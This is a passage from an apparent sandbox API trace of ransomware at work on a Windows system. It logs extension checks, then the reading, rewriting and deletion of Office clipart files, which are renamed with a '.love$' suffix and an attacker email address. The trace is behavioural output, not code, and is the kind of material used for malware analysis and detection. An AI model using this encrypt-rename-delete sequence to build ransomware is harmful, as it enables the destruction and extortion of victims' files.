lpString2=".WMF") returned -1 [0233.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0233.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0233.808] lstrlenW (lpString=".doc") returned 4 [0233.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.808] lstrlenW (lpString=".docx") returned 5 [0233.809] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.809] lstrlenW (lpString=".pdf") returned 4 [0233.809] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.809] lstrlenW (lpString=".xls") returned 4 [0233.809] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.809] lstrlenW (lpString=".xlsx") returned 5 [0233.809] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.809] lstrlenW (lpString=".ppt") returned 4 [0233.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0233.809] lstrlenW (lpString=".zip") returned 4 [0233.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.809] lstrlenW (lpString=".rar") returned 4 [0233.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.809] lstrlenW (lpString=".bz2") returned 4 [0233.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.809] lstrlenW (lpString=".7z") returned 3 [0233.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0233.809] lstrlenW (lpString=".dbf") returned 4 [0233.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0233.809] lstrlenW (lpString=".1cd") returned 4 [0233.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0233.809] lstrlenW (lpString=".jpg") returned 4 [0233.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.809] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0233.809] lstrlenW (lpString="BL00122_.WMF") returned 12 [0233.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0233.810] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=10146) returned 1 [0233.810] CloseHandle (hObject=0x48c) returned 1 [0233.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220 [0233.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0233.811] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.811] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0233.812] GetLastError () returned 0x0 [0233.812] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x27a2, lpOverlapped=0x0) returned 1 [0234.130] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x27b0, lpOverlapped=0x0) returned 1 [0234.132] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.132] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.132] SetEndOfFile (hFile=0x46c) returned 1 [0234.132] CloseHandle (hObject=0x46c) returned 1 [0234.135] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.136] SetEndOfFile (hFile=0x48c) returned 1 [0234.140] CloseHandle (hObject=0x48c) returned 1 [0234.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0234.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0234.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0234.142] lstrlenW (lpString=".doc") returned 4 [0234.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.142] lstrlenW (lpString=".docx") returned 5 [0234.142] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.142] lstrlenW (lpString=".pdf") returned 4 [0234.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.142] lstrlenW (lpString=".xls") returned 4 [0234.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.142] lstrlenW (lpString=".xlsx") returned 5 [0234.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.142] lstrlenW (lpString=".ppt") returned 4 [0234.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0234.142] lstrlenW (lpString=".zip") returned 4 [0234.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.143] lstrlenW (lpString=".rar") returned 4 [0234.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.143] lstrlenW (lpString=".bz2") returned 4 [0234.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.143] lstrlenW (lpString=".7z") returned 3 [0234.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0234.143] lstrlenW (lpString=".dbf") returned 4 [0234.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0234.143] lstrlenW (lpString=".1cd") returned 4 [0234.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0234.143] lstrlenW (lpString=".jpg") returned 4 [0234.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0234.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0234.144] lstrlenW (lpString=".doc") returned 4 [0234.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.144] lstrlenW (lpString=".docx") returned 5 [0234.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.144] lstrlenW (lpString=".pdf") returned 4 [0234.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.144] lstrlenW (lpString=".xls") returned 4 [0234.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.144] lstrlenW (lpString=".xlsx") returned 5 [0234.147] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.147] lstrlenW (lpString=".ppt") returned 4 [0234.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0234.147] lstrlenW (lpString=".zip") returned 4 [0234.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.147] lstrlenW (lpString=".rar") returned 4 [0234.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.147] lstrlenW (lpString=".bz2") returned 4 [0234.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.147] lstrlenW (lpString=".7z") returned 3 [0234.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0234.148] lstrlenW (lpString=".dbf") returned 4 [0234.148] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0234.148] lstrlenW (lpString=".1cd") returned 4 [0234.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0234.148] lstrlenW (lpString=".jpg") returned 4 [0234.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.148] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.148] lstrlenW (lpString="BL00242_.WMF") returned 12 [0234.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0234.149] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=4024) returned 1 [0234.149] CloseHandle (hObject=0x48c) returned 1 [0234.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220 [0234.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0234.150] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.150] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0234.151] GetLastError () returned 0x0 [0234.151] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xfb8, lpOverlapped=0x0) returned 1 [0234.157] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xfc0, lpOverlapped=0x0) returned 1 [0234.159] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.159] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.159] SetEndOfFile (hFile=0x46c) returned 1 [0234.159] CloseHandle (hObject=0x46c) returned 1 [0234.160] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.160] SetEndOfFile (hFile=0x48c) returned 1 [0234.163] CloseHandle (hObject=0x48c) returned 1 [0234.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0234.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0234.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0234.165] lstrlenW (lpString=".doc") returned 4 [0234.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.165] lstrlenW (lpString=".docx") returned 5 [0234.165] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.165] lstrlenW (lpString=".pdf") returned 4 [0234.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.165] lstrlenW (lpString=".xls") returned 4 [0234.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.165] lstrlenW (lpString=".xlsx") returned 5 [0234.165] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.165] lstrlenW (lpString=".ppt") returned 4 [0234.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0234.165] lstrlenW (lpString=".zip") returned 4 [0234.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.165] lstrlenW (lpString=".rar") returned 4 [0234.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.165] lstrlenW (lpString=".bz2") returned 4 [0234.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.165] lstrlenW (lpString=".7z") returned 3 [0234.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0234.165] lstrlenW (lpString=".dbf") returned 4 [0234.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0234.165] lstrlenW (lpString=".1cd") returned 4 [0234.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0234.166] lstrlenW (lpString=".jpg") returned 4 [0234.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0234.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0234.166] lstrlenW (lpString=".doc") returned 4 [0234.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.166] lstrlenW (lpString=".docx") returned 5 [0234.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.166] lstrlenW (lpString=".pdf") returned 4 [0234.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.166] lstrlenW (lpString=".xls") returned 4 [0234.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.166] lstrlenW (lpString=".xlsx") returned 5 [0234.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.166] lstrlenW (lpString=".ppt") returned 4 [0234.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0234.166] lstrlenW (lpString=".zip") returned 4 [0234.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.166] lstrlenW (lpString=".rar") returned 4 [0234.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.166] lstrlenW (lpString=".bz2") returned 4 [0234.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.166] lstrlenW (lpString=".7z") returned 3 [0234.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0234.166] lstrlenW (lpString=".dbf") returned 4 [0234.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0234.167] lstrlenW (lpString=".1cd") returned 4 [0234.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0234.167] lstrlenW (lpString=".jpg") returned 4 [0234.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.167] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.167] lstrlenW (lpString="BL00247_.WMF") returned 12 [0234.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0234.168] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=14444) returned 1 [0234.168] CloseHandle (hObject=0x48c) returned 1 [0234.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x220 [0234.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0234.169] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.169] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0234.170] GetLastError () returned 0x0 [0234.170] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x386c, lpOverlapped=0x0) returned 1 [0234.652] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x3870, lpOverlapped=0x0) returned 1 [0234.653] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.653] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.653] SetEndOfFile (hFile=0x46c) returned 1 [0234.654] CloseHandle (hObject=0x46c) returned 1 [0234.654] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.654] SetEndOfFile (hFile=0x48c) returned 1 [0234.659] CloseHandle (hObject=0x48c) returned 1 [0234.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0234.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0234.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0234.667] lstrlenW (lpString=".doc") returned 4 [0234.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.667] lstrlenW (lpString=".docx") returned 5 [0234.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.667] lstrlenW (lpString=".pdf") returned 4 [0234.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.667] lstrlenW (lpString=".xls") returned 4 [0234.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.667] lstrlenW (lpString=".xlsx") returned 5 [0234.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.667] lstrlenW (lpString=".ppt") returned 4 [0234.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0234.668] lstrlenW (lpString=".zip") returned 4 [0234.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.668] lstrlenW (lpString=".rar") returned 4 [0234.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.668] lstrlenW (lpString=".bz2") returned 4 [0234.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.668] lstrlenW (lpString=".7z") returned 3 [0234.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0234.668] lstrlenW (lpString=".dbf") returned 4 [0234.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0234.668] lstrlenW (lpString=".1cd") returned 4 [0234.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0234.668] lstrlenW (lpString=".jpg") returned 4 [0234.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0234.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0234.668] lstrlenW (lpString=".doc") returned 4 [0234.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.668] lstrlenW (lpString=".docx") returned 5 [0234.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.668] lstrlenW (lpString=".pdf") returned 4 